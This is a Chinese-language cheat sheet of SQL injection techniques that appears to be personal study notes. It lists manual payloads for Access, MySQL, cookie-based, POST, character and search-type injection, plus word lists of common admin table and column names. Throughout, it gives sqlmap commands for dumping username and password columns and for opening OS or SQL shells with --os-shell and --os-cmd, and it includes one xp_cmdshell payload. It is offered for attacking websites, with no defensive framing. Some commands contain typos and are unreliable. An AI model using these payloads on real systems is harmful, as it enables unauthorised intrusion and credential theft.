php+mysql 注入方法:http://tieba.baidu.com/p/3723202169

http://www.cnblogs.com/Javame/p/3753060.html sqlmap 命令大全

1:access 注入
猜解表名 and exists (select * from admin)

猜解列名 and exists(select username from admin)

常用的表名 admin user news manage a_admin x_admin m_admin adminuser admin_user article_admin administrator manager member memberlist users Manage_User user_info admin_userinfo login new

常用的列名 username password id adminusername admin_username adminname admin_name admin adminuser admin_user user_name user_admin administrator administrators adminpassword admin_pwd adminpass userpass user_pass admin_passwod

sqlmap 注入 access
sqlmap -u url
sqlmap -u url --tables
sqlmap -u url -T 数据库名称 --columns
sqlmap -u url -T 数据库名称 -C user,password --dump

MySQL 注入
1:判断是否存在注入:and 1=1 and 1=2

2:查询当前页面所链接的数据库列名(前面要报错) order by

操作系统版本查询 @@version_compile_os
版本查询 version()
查询当前页面所链接的数据库名字 database()
数据库用户名字 user()
3:查询表名 1,gooup_concat(table_name)3,4,5,6,...... from information_schema.tables where table_schema=database(转换 16 进制)

查列名 1,gooup_concat(column_name)3,4,5,6,...... from information_schema.columns where table_name= 表名 (转换 16 进制)

4:查询数据:url union select1,2,3........from admin

MySQL 注入的 sqlmap 注入:
1:sqlmap.py -u "注入点"

2:sqlmap.py -u "注入点" --dbs(查数据库)

3:sqlmap.py -u "注入点" -D(指定表名)某表名 --tables (-T 是指定数据名)

4:sqlmap.py -u "注入点" -D(指定表名) 某表名 -T admin C “username,password” --dump(爆数据)

cookie 注入和 post 注入
网站传递参数的方式:
1:get 形式 一般访问网页行为
2:cookie 形式 伴随着所有访问网页的行为
3:post 形式 上传文件,登陆

cookie 形式注入原理就是对 get 传递来的参数进行了过滤,但是武略了 cookie 也可以传递参数

如何判断 cookie 注入(传输错如网页拦截之类的)
去掉 id=xx 查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。
清空浏览器地址栏,输入 Javascript:alert(document.cookie="id"=escape("id 参数 ")) 按回车键后弹出一个对话框,内容是 id=xx , 然后用原来的 URL 刷新页面,如果显示正常,说明应用是 request("id") 这种方式获取数据的

然后重复上面的步骤,讲常规的 sql 注入语句带入到上面的 URL:Javascript:alert(document.cookie="id="+escape("xx and 1=1"))
Javascript:alert(document.cookie="id="+escape("xx and 1=2"))

和常规 sql 注入一样,如果分别返回正常是不正常,则说明存在注入漏洞,并且可以 cookie 注入

使用常规注入即可

用 sqlmap 进行 cookie 注入

sqlmap.py -u 注入点 URL --cookie "id=xx" --level 3

sqlmap.py -u url --cookie "id=xx" --level 3 --tables(猜表名)

sqlmap.py -u url --cookie "id=xx" --level 3 -T 表名 --coiumns

sqlmap.py -u url --cookie "id=xx" --level 3 -T 表名 -C username,password --dump

post 注入

判断 post 注入
';exec master..xp_cmdshell'iisreset';

sqlmap 的三种注入 post 注入方法
1: 自动填写表单:
sqlmap.py -u URL --forms 直接一路回车
sql server 数据库类似于 MySQL
sqlmap.py -u URL --forms --dbs(数据库)
注意:遇到数据库非常多,而且我们不知道管理账号密码存放在那个数据库中,我们该怎么办?如下:
sqlmap.py -u URL --forms --current-db(找当前数据库)
找表名:sqlmap.py -u URL --forms -D 数据库名称 --tables(猜解他数据库下的表名)
找列名:sqlmap.py -u URL --forms -D 数据库名称 -T 表名 --columns
爆数据:sqlmap.py -u URL --forms -D 数据库名称 -T 表名 -C username,password --dump
2:sqlmap 结合 burpsuite 注入
抓包
sqlmap 检测:sqlmap.py -r burpsuite 抓包 .txt
3:指定表单注入
burpsuite 截包
sqlmap.py -u URL --data “username=a&password=a”

4:oracle 注入

sqlmap 交互式

交互式执行 cmd 命令:sqlmap.py -u URL --os-cmd= 命令

交互式写入 shell:sqlmap.py -u URL --os-shell 里面也可以执行 cmd 命令
在根目录下生成两个文件:tmpbxbxz.php 和 tmpuoiuz.php

交互式执行 sql 命令:sqlmap.py -u URL --sql-shell 执行命令 sql 命令 getshell

伪静态的注入:
sqlmap -u URL --dbs

延时注入:
sqlmap.py -u URL --technique -T --current-user

数字型,字符型,搜索型注入
数字型:select*from admin where id=$id
字符型:select*from admin where uid='$uid'
搜索性:select*from admin where pid like'%$pid%'order by pid

注入方法:闭合注入,
字符型
闭合注入手法:'and'1'='1
形成的 SQL 语句:select*from admin where uid='$xx'and'1'='1'
select*from admin where uid='$xx'and'1'='2'
注入方法
'语句 and'1'='1

搜索型
注入方法:%'and'%1%'=%1
%' 语句 and'%1%'=%1

注释法
直接 order by 报错
注释 order by 1--
--(2 个斜杠是 php 注释的意思)